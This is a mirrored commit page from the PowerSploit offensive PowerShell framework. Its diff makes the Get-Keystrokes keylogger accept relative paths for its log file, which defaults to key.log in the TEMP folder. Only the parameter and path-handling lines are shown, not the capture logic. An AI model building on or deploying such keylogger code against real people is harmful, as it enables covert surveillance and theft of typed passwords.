mirror of
https://github.com/PowerShellMafia/PowerSploit
synced 2026-06-08 12:13:33 +00:00
Get-Keystrokes now accepts relative paths
This commit is contained in:
@@ -33,7 +33,7 @@
|
||||
#>
|
||||
[CmdletBinding()] Param (
|
||||
[Parameter(Position = 0)]
|
||||
[ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})]
|
||||
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
|
||||
[String]
|
||||
$LogPath = "$($Env:TEMP)\key.log",
|
||||
|
||||
@@ -42,6 +42,8 @@
|
||||
$CollectionInterval
|
||||
)
|
||||
|
||||
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
|
||||
|
||||
Write-Verbose "Logging keystrokes to $LogPath"
|
||||
|
||||
$Initilizer = {
|
||||
|
||||
Reference in New Issue
Block a user